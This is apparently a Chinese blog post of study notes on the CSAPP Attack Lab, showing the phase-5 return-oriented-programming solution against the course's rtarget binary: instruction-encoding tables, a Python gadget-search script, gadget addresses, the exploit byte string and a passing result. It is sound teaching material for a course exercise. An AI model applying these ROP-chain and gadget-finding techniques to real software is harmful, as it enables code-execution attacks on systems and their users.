48\ 89\ f1 & 48\ 89\ f2 & 48\ 89\ f3 & 48\ 89\ f4 & 48\ 89\ f5 & 48\ 89\ f6 & 48\ 89\ f7 \\ \%rdi & 48\ 89\ f8 & 48\ 89\ f9 & 48\ 89\ fa & 48\ 89\ fb & 48\ 89\ fc & 48\ 89\ fd & 48\ 89\ fe & 48\ 89\ ff \\ \end{array} Source S%rax%rcx%rdx%rbx%rsp%rbp%rsi%rdi​Dest. D%rax48 89 c048 89 c848 89 d048 89 d848 89 e048 89 e848 89 f048 89 f8​%rcx48 89 c148 89 c948 89 d148 89 d948 89 e148 89 e948 89 f148 89 f9​%rdx48 89 c248 89 ca48 89 d248 89 da48 89 e248 89 ea48 89 f248 89 fa​%rbx48 89 c348 89 cb48 89 d348 89 db48 89 e348 89 eb48 89 f348 89 fb​%rsp48 89 c448 89 cc48 89 d448 89 dc48 89 e448 89 ec48 89 f448 89 fc​%rbp48 89 c548 89 cd48 89 d548 89 dd48 89 e548 89 ed48 89 f548 89 fd​%rsi48 89 c648 89 ce48 89 d648 89 de48 89 e648 89 ee48 89 f648 89 fe​%rdi48 89 c748 89 cf48 89 d748 89 df48 89 e748 89 ef48 89 f748 89 ff​​

可以发现 movq %rsp, %rdi 为 48 89 e7,但是 fram 里面没有,所以只能如下走弯路

  1. movq %rsp, %rax; ret -> 48 89 e0 c3

    1
    2
    3
    0000000000401a03 <addval_190>:
    401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
    401a09: c3 ret
  2. movq %rax, %rdi; ret -> 48 89 c7 c3

    1
    2
    3
    00000000004019c3 <setval_426>:
    4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
    4019c9: c3 ret

offset 必须要找 popq 此类指令:

InstructionMachine Codepopq %rax58popq %rcx59popq %rdx5apopq %rbx5bpopq %rsp5cpopq %rbp5dpopq %rsi5epopq %rdi5f\begin{array}{l|c} \text{Instruction} & \text{Machine Code} \\ \hline \text{popq } \%rax & 58 \\ \text{popq } \%rcx & 59 \\ \text{popq } \%rdx & 5a \\ \text{popq } \%rbx & 5b \\ \text{popq } \%rsp & 5c \\ \text{popq } \%rbp & 5d \\ \text{popq } \%rsi & 5e \\ \text{popq } \%rdi & 5f \\ \end{array} Instructionpopq %raxpopq %rcxpopq %rdxpopq %rbxpopq %rsppopq %rbppopq %rsipopq %rdi​Machine Code58595a5b5c5d5e5f​​

最理想下是直接 popq %rsi,但是 fram 里没有。

参考资料里面提示 movl 可以移动 4 字节的值,所以可以试着先将 offset popq 到别的寄存器,然后再辗转移动到 %rsi。

movl 有以下对照表:

Source SDest. D%eax%ecx%edx%ebx%esp%ebp%esi%edi%eax89 c089 c189 c289 c389 c489 c589 c689 c7%ecx89 c889 c989 ca89 cb89 cc89 cd89 ce89 cf%edx89 d089 d189 d289 d389 d489 d589 d689 d7%ebx89 d889 d989 da89 db89 dc89 dd89 de89 df%esp89 e089 e189 e289 e389 e489 e589 e689 e7%ebp89 e889 e989 ea89 eb89 ec89 ed89 ee89 ef%esi89 f089 f189 f289 f389 f489 f589 f689 f7%edi89 f889 f989 fa89 fb89 fc89 fd89 fe89 ff\begin{array}{l|llllllll} \text{Source } S & \text{Dest. } D & & & & & & & \\ \hline & \%eax & \%ecx & \%edx & \%ebx & \%esp & \%ebp & \%esi & \%edi \\ \hline \%eax & 89\ c0 & 89\ c1 & 89\ c2 & 89\ c3 & 89\ c4 & 89\ c5 & 89\ c6 & 89\ c7 \\ \%ecx & 89\ c8 & 89\ c9 & 89\ ca & 89\ cb & 89\ cc & 89\ cd & 89\ ce & 89\ cf \\ \%edx & 89\ d0 & 89\ d1 & 89\ d2 & 89\ d3 & 89\ d4 & 89\ d5 & 89\ d6 & 89\ d7 \\ \%ebx & 89\ d8 & 89\ d9 & 89\ da & 89\ db & 89\ dc & 89\ dd & 89\ de & 89\ df \\ \%esp & 89\ e0 & 89\ e1 & 89\ e2 & 89\ e3 & 89\ e4 & 89\ e5 & 89\ e6 & 89\ e7 \\ \%ebp & 89\ e8 & 89\ e9 & 89\ ea & 89\ eb & 89\ ec & 89\ ed & 89\ ee & 89\ ef \\ \%esi & 89\ f0 & 89\ f1 & 89\ f2 & 89\ f3 & 89\ f4 & 89\ f5 & 89\ f6 & 89\ f7 \\ \%edi & 89\ f8 & 89\ f9 & 89\ fa & 89\ fb & 89\ fc & 89\ fd & 89\ fe & 89\ ff \\ \end{array} Source S%eax%ecx%edx%ebx%esp%ebp%esi%edi​Dest. D%eax89 c089 c889 d089 d889 e089 e889 f089 f8​%ecx89 c189 c989 d189 d989 e189 e989 f189 f9​%edx89 c289 ca89 d289 da89 e289 ea89 f289 fa​%ebx89 c389 cb89 d389 db89 e389 eb89 f389 fb​%esp89 c489 cc89 d489 dc89 e489 ec89 f489 fc​%ebp89 c589 cd89 d589 dd89 e589 ed89 f589 fd​%esi89 c689 ce89 d689 de89 e689 ee89 f689 fe​%edi89 c789 cf89 d789 df89 e789 ef89 f789 ff​​

题目中提示用到八个 gadget,已经用掉两个处理 %rsp -> %rdi,popq 算一个,前面的 lea 算一个,lea 的结果在 %rax,而 touch3 需要的参数在 %rsi,还需要一个 movq %rax, %rsi; ret 的 gadget,所以可以得出 popq 之后会辗转调用三次 movl。

题目还提示,90 是 nop 指令,可以当作无效指令用来填充,以及以下的这些也可以填充:

Operation%al%cl%dl%blandb R,R20 c020 c920 d220 dborb R,R08 c008 c908 d208 dbcmpb R,R38 c038 c938 d238 dbtestb R,R84 c084 c984 d284 db\begin{array}{l|llll} \text{Operation} & \%al & \%cl & \%dl & \%bl \\ \hline \text{andb } R, R & 20\ c0 & 20\ c9 & 20\ d2 & 20\ db \\ \text{orb } R, R & 08\ c0 & 08\ c9 & 08\ d2 & 08\ db \\ \text{cmpb } R, R & 38\ c0 & 38\ c9 & 38\ d2 & 38\ db \\ \text{testb } R, R & 84\ c0 & 84\ c9 & 84\ d2 & 84\ db \\ \end{array} Operationandb R,Rorb R,Rcmpb R,Rtestb R,R​%al20 c008 c038 c084 c0​%cl20 c908 c938 c984 c9​%dl20 d208 d238 d284 d2​%bl20 db08 db38 db84 db​​

手动寻找有点艰辛,让 Gemini 写个脚本来遍历。

Python 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import re
from collections import deque, namedtuple

REG_32 = ["%eax", "%ecx", "%edx", "%ebx", "%esp", "%ebp", "%esi", "%edi"]
REG_64 = ["%rax", "%rcx", "%rdx", "%rbx", "%rsp", "%rbp", "%rsi", "%rdi"]

# 题目允许的 NOP 指令和无害指令的机器码
SAFE_BYTES = {
"90",
"20c0",
"20c9",
"20d2",
"20db",
"08c0",
"08c9",
"08d2",
"08db",
"38c0",
"38c9",
"38d2",
"38db",
"84c0",
"84c9",
"84d2",
"84db",
}

Gadget = namedtuple("Gadget", ["addr", "type", "src", "dst", "raw", "block"])


class ROPFinder:
def __init__(self, dump_text):
self.bytes_map = []
self.addr_to_block = {}
self._parse(dump_text)

def _parse(self, text):
"""解析汇编文本,建立字节映射和函数块映射"""
blocks = re.split(r"\n(?=[0-9a-f]+ <.*>:)", text.strip())
for block in blocks:
lines = block.strip().split("\n")
if not lines:
continue
for line in lines:
match = re.match(r"\s*([0-9a-f]+):\s+(([0-9a-f]{2}\s)+)", line)
if match:
base_addr = int(match.group(1), 16)
hex_bytes = match.group(2).strip().split()
for i, b in enumerate(hex_bytes):
addr = base_addr + i
self.bytes_map.append((addr, b))
self.addr_to_block[addr] = block

def _is_safe(self, seq):
"""检查指令与 ret 之间的填充字节是否安全"""
i = 0
while i < len(seq):
if seq[i] == "90":
i += 1
elif i + 1 < len(seq) and (seq[i] + seq[i + 1]) in SAFE_BYTES:
i += 2
else:
return False
return True

def find_all_gadgets(self):
"""扫描所有潜在的 popq 和 movl gadgets"""
found = {}
# 遍历字节流寻找 ret (c3)
for i, (addr, b) in enumerate(self.bytes_map):
if b != "c3":
continue

# 从 c3 往回看最多 10 个字节
for j in range(1, 10):
if i - j < 0:
break
start_idx = i - j
start_addr, op = self.bytes_map[start_idx]
seq = [x[1] for x in self.bytes_map[start_idx : i + 1]]

res = None
# 识别 popq (58-5f)
val = int(op, 16)
if 0x58 <= val <= 0x5F and self._is_safe(seq[1:-1]):
res = ("popq", None, REG_64[val - 0x58])

# 识别 movl (89 c0-ff)
elif op == "89" and len(seq) >= 3:
modrm = int(seq[1], 16)
if 0xC0 <= modrm <= 0xFF and self._is_safe(seq[2:-1]):
res = (
"movl",
REG_32[(modrm - 0xC0) // 8],
REG_32[(modrm - 0xC0) % 8],
)

if res:
g = Gadget(
hex(start_addr),
res[0],
res[1],
res[2],
" ".join(seq),
self.addr_to_block[start_addr],
)
key = (g.addr, g.type)
# 保留最短的 gadget
if key not in found or len(seq) < len(found[key].raw.split()):
found[key] = g
return list(found.values())

@staticmethod
def search_paths(gadgets, target="%esi"):
"""BFS 寻找从任意 popq 到目标寄存器的路径"""
results = []
pops = [g for g in gadgets if g.type == "popq"]
movs = [g for g in gadgets if g.type == "movl"]

queue = deque([(p.dst.replace("%r", "%e"), [p]) for p in pops])

for _ in range(6): # 限制跳数
for _ in range(len(queue)):
curr_reg, path = queue.popleft()
if curr_reg == target:
results.append(path)
continue
for m in movs:
if m.src == curr_reg and m not in path:
queue.append((m.dst, path + [m]))
return results


if __name__ == "__main__":
with open("farm.s") as f:
farm_dump = f.read()

finder = ROPFinder(farm_dump)
all_gadgets = finder.find_all_gadgets()
paths = finder.search_paths(all_gadgets, "%esi")

print(f"找到 {len(paths)} 条路径。")
for i, path in enumerate(paths):
print(f"\n路径 {i+1}: " + " -> ".join(f"{g.addr}" for g in path))
for step in path:
action = f"{step.type} {step.src if step.src else ''} -> {step.dst}"
print(f" [{step.addr}] {step.raw:<12} | {action}")

找到 16 种组合。

运行结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
找到 16 条纯净路径。

路径 1: 0x4019ab -> 0x4019dd -> 0x401a34 -> 0x401a13
[0x4019ab] 58 90 c3 | popq -> %rax
[0x4019dd] 89 c2 90 c3 | movl %eax -> %edx
[0x401a34] 89 d1 38 c9 c3 | movl %edx -> %ecx
[0x401a13] 89 ce 90 90 c3 | movl %ecx -> %esi

路径 2: 0x4019ab -> 0x4019dd -> 0x401a34 -> 0x401a27
[0x4019ab] 58 90 c3 | popq -> %rax
[0x4019dd] 89 c2 90 c3 | movl %eax -> %edx
[0x401a34] 89 d1 38 c9 c3 | movl %edx -> %ecx
[0x401a27] 89 ce 38 c0 c3 | movl %ecx -> %esi

路径 3: 0x4019ab -> 0x4019dd -> 0x401a69 -> 0x401a13
[0x4019ab] 58 90 c3 | popq -> %rax
[0x4019dd] 89 c2 90 c3 | movl %eax -> %edx
[0x401a69] 89 d1 08 db c3 | movl %edx -> %ecx
[0x401a13] 89 ce 90 90 c3 | movl %ecx -> %esi

路径 4: 0x4019ab -> 0x4019dd -> 0x401a69 -> 0x401a27
[0x4019ab] 58 90 c3 | popq -> %rax
[0x4019dd] 89 c2 90 c3 | movl %eax -> %edx
[0x401a69] 89 d1 08 db c3 | movl %edx -> %ecx
[0x401a27] 89 ce 38 c0 c3 | movl %ecx -> %esi

路径 5: 0x4019ab -> 0x401a42 -> 0x401a34 -> 0x401a13
[0x4019ab] 58 90 c3 | popq -> %rax
[0x401a42] 89 c2 84 c0 c3 | movl %eax -> %edx
[0x401a34] 89 d1 38 c9 c3 | movl %edx -> %ecx
[0x401a13] 89 ce 90 90 c3 | movl %ecx -> %esi

路径 6: 0x4019ab -> 0x401a42 -> 0x401a34 -> 0x401a27
[0x4019ab] 58 90 c3 | popq -> %rax
[0x401a42] 89 c2 84 c0 c3 | movl %eax -> %edx
[0x401a34] 89 d1 38 c9 c3 | movl %edx -> %ecx
[0x401a27] 89 ce 38 c0 c3 | movl %ecx -> %esi

路径 7: 0x4019ab -> 0x401a42 -> 0x401a69 -> 0x401a13
[0x4019ab] 58 90 c3 | popq -> %rax
[0x401a42] 89 c2 84 c0 c3 | movl %eax -> %edx
[0x401a69] 89 d1 08 db c3 | movl %edx -> %ecx
[0x401a13] 89 ce 90 90 c3 | movl %ecx -> %esi

路径 8: 0x4019ab -> 0x401a42 -> 0x401a69 -> 0x401a27
[0x4019ab] 58 90 c3 | popq -> %rax
[0x401a42] 89 c2 84 c0 c3 | movl %eax -> %edx
[0x401a69] 89 d1 08 db c3 | movl %edx -> %ecx
[0x401a27] 89 ce 38 c0 c3 | movl %ecx -> %esi

路径 9: 0x4019cc -> 0x4019dd -> 0x401a34 -> 0x401a13
[0x4019cc] 58 90 c3 | popq -> %rax
[0x4019dd] 89 c2 90 c3 | movl %eax -> %edx
[0x401a34] 89 d1 38 c9 c3 | movl %edx -> %ecx
[0x401a13] 89 ce 90 90 c3 | movl %ecx -> %esi

路径 10: 0x4019cc -> 0x4019dd -> 0x401a34 -> 0x401a27
[0x4019cc] 58 90 c3 | popq -> %rax
[0x4019dd] 89 c2 90 c3 | movl %eax -> %edx
[0x401a34] 89 d1 38 c9 c3 | movl %edx -> %ecx
[0x401a27] 89 ce 38 c0 c3 | movl %ecx -> %esi

路径 11: 0x4019cc -> 0x4019dd -> 0x401a69 -> 0x401a13
[0x4019cc] 58 90 c3 | popq -> %rax
[0x4019dd] 89 c2 90 c3 | movl %eax -> %edx
[0x401a69] 89 d1 08 db c3 | movl %edx -> %ecx
[0x401a13] 89 ce 90 90 c3 | movl %ecx -> %esi

路径 12: 0x4019cc -> 0x4019dd -> 0x401a69 -> 0x401a27
[0x4019cc] 58 90 c3 | popq -> %rax
[0x4019dd] 89 c2 90 c3 | movl %eax -> %edx
[0x401a69] 89 d1 08 db c3 | movl %edx -> %ecx
[0x401a27] 89 ce 38 c0 c3 | movl %ecx -> %esi

路径 13: 0x4019cc -> 0x401a42 -> 0x401a34 -> 0x401a13
[0x4019cc] 58 90 c3 | popq -> %rax
[0x401a42] 89 c2 84 c0 c3 | movl %eax -> %edx
[0x401a34] 89 d1 38 c9 c3 | movl %edx -> %ecx
[0x401a13] 89 ce 90 90 c3 | movl %ecx -> %esi

路径 14: 0x4019cc -> 0x401a42 -> 0x401a34 -> 0x401a27
[0x4019cc] 58 90 c3 | popq -> %rax
[0x401a42] 89 c2 84 c0 c3 | movl %eax -> %edx
[0x401a34] 89 d1 38 c9 c3 | movl %edx -> %ecx
[0x401a27] 89 ce 38 c0 c3 | movl %ecx -> %esi

路径 15: 0x4019cc -> 0x401a42 -> 0x401a69 -> 0x401a13
[0x4019cc] 58 90 c3 | popq -> %rax
[0x401a42] 89 c2 84 c0 c3 | movl %eax -> %edx
[0x401a69] 89 d1 08 db c3 | movl %edx -> %ecx
[0x401a13] 89 ce 90 90 c3 | movl %ecx -> %esi

路径 16: 0x4019cc -> 0x401a42 -> 0x401a69 -> 0x401a27
[0x4019cc] 58 90 c3 | popq -> %rax
[0x401a42] 89 c2 84 c0 c3 | movl %eax -> %edx
[0x401a69] 89 d1 08 db c3 | movl %edx -> %ecx
[0x401a27] 89 ce 38 c0 c3 | movl %ecx -> %esi

但实际上只有 popq %rax; ret -> movl %eax, %edx; ret -> movl %edx, %ecx; ret -> movl %ecx, %esi; ret 这一条路径是可行的,每个指令有两种 Gadget 可选。

选择第一个解法:

  1. popq, %rax; ret -> 58 90 c3

    1
    2
    3
    00000000004019a7 <addval_219>:
    4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
    4019ad: c3 ret
  2. movl %eax, %edx; ret -> 89 c2 90 c3

    1
    2
    3
    00000000004019db <getval_481>:
    4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
    4019e0: c3 ret
  3. movl %edx, %ecx; ret -> 89 d1 c3

    1
    2
    3
    0000000000401a33 <getval_159>:
    401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
    401a38: c3 ret
  4. movl %ecx, %esi; ret -> 89 ce c3

    1
    2
    3
    0000000000401a11 <addval_436>:
    401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
    401a17: c3 ret

有以下 Gadget 要执行:

  • 48 89 e0 c3 -> movq %rsp, %rax; ret -> 0x401a06

  • 48 89 c7 c3 -> movq %rax, %rdi; ret -> 0x4019c5

  • 58 90 c3 -> popq %rax; ret -> 0x4019ab

  • 89 c2 90 c3 -> movl %eax, %edx; ret -> 0x4019dd

  • 89 d1 38 c9 c3 -> movl %edx, %ecx; ret -> 0x401a34

  • 89 ce 90 90 c3 -> movl %ecx, %esi; ret -> 0x401a13

  • 48 8d 04 37 c3 -> lea (%rdi, %rsi, 1), %rax; ret -> 0x4019d6

  • 48 89 c7 c3 -> movq %rax, %rdi; ret -> 0x4019c5

应该将 cookie 放在 0x4019c5 的下一行,内存布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
35

39 62 39 39 37 66 61 00 // 0x59b997fa 的 ASCII 表示,注意末尾的 \0

fa 18 40 00 00 00 00 00 # touch3 入口地址

c5 19 40 00 00 00 00 00 # movq %rsp, %rax; ret

d6 19 40 00 00 00 00 00 # lea (%rdi, %rsi, 1), %rax; ret

13 1a 40 00 00 00 00 00 # movl %ecx, %esi; ret

34 1a 40 00 00 00 00 00 # movl %edx, %ecx; ret

dd 19 40 00 00 00 00 00 # movl %eax, %edx; ret

48 00 00 00 00 00 00 00 // offset

ab 19 40 00 00 00 00 00 # popq %rax; ret

c5 19 40 00 00 00 00 00 // movq %rax, %rdi; ret

06 1a 40 00 00 00 00 00 // movq %rsp, %rax; ret

00 00 00 00 00 00 00 00 // padding
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

综上所述,我们可以开始构造输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00

35 39 62 39 39 37 66 61 00

PASS!

1
2
3
4
5
6
7
8
9
❯ cat exploit.txt| ./hex2raw| ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

Conclusion

非常有趣,加深对栈帧的理解,感觉 Bomb Lab 做完了之后也忘的差不多了,理解也不充分。

那么什么时候忘记 Attack Lab

  • CSAPP
  • study-notes
CLRS Hash Tables
后一篇

CLRS Hash Tables

Creative Commons License All website licensed under CC BY 4.0
2025-2026 z0z0r4
基于 Hexo  Theme.Reimu
73.6k  |  05:59
粤ICP备2025511811号
粤公网安备44130302100361号
总访问量   |  总访客量 

文章目录

  1. 1. phase1
  2. 2. phase2
  3. 3. phase3
  4. 4. phase4
  5. 5. phase5
  6. 6. Conclusion
z0z0r4
z0z0r4
文章
14
分类
14
标签
12

首页

归档

关于